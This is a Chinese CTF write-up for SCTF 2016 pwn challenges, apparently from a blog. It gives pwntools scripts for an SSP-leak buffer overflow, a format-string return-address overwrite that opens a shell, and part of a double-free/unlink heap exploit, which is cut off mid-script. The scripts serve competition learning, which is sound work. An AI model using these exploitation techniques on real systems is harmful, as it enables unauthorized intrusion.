【SCTF&&CCTF 2016】 PWN_WRITEUP

SCTF

pwn 1

这题是一个 ssp leak的利用。(和pctf的一题类似)。
资料:http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf

from pwn import *

context(log_level="debug")
flag_addr = 0x600DC0

#p  = process('./pwn100')

#gdb.attach(pidof(p)[0])
for x in range(100):
    p=remote('58.213.63.30',60001)
    p.recvuntil('he flag?\n')
    p.sendline('a'*504+p64(flag_addr))
    p.recvline()
    p.recvline()

pwn2

这题是fmt的利用,由于这边fmt不在栈上,所以我采取了爆破的手段。(谁叫鹦鹉只能说两句话。。),同时出题者留下了后门,直接拿来用,改返回地址为后门地址就可以。PS:如果没给后门,也可以爆破鹦鹉让它多说话,那样我们也可以玩出花来。

资料:http://www.cnblogs.com/0xmuhe/p/5013074.html

# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug")

#p = process('./pwn200')

elf = ELF('pwn200')
puts_got = elf.got['puts']
strcmp_got = elf.got['strcmp']
system = 0x804A08E
def init():
    p.recvuntil('ut your name:\n')
    p.sendline('WinterSun')
    p.recvuntil('')
    p.recvuntil('3.Exit\n')
    p.sendline('2')
    p.recvuntil('2.Protego\n')
    p.sendline('2')
    p.recvuntil('2.Protego\n')
    p.sendline('2')
    p.recvuntil('2.Protego\n')
    p.sendline('2')
while True:
    p = remote('58.213.63.30',50021)    
    init()
    p.sendline('%%%dc'%(0xcc)+'%4$hhn'+'...')
    p.recvuntil('...')
    #gdb.attach(pidof(p)[0])
    p.sendline('%%%dc'%(system&0xffff)+'%12$hn'+'...')
    p.interactive()

#SCTF{FMT_HAVE_FUN_AHHHH}

pwn3

这是一题double free 的利用。

之前没遇到过,参考的资料比较多。

资料:
http://www.cnblogs.com/0xmuhe/p/5190132.html
http://drops.wooyun.org/tips/7326
http://drops.wooyun.org/binary/7958
重点是unlink的操作!

exp 如下。

from pwn import *

context(log_level="debug")
buf = 0x08049D80
elf = ELF('pwn300')
free = elf.got['free']

def setchunk(size):
    p.recvuntil('5. Exit\n')
    p.sendline('1')
    p.recvuntil(' want :')
    p.sendline(str(size))

def edit(index,content):
    p.recvuntil('5. Exit\n')
    p.sendline('3')
    p.recvuntil('s num:')
    p.sendline(str(index))
    p.recvuntil('content:')
    p.sendline(content)
def sh
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值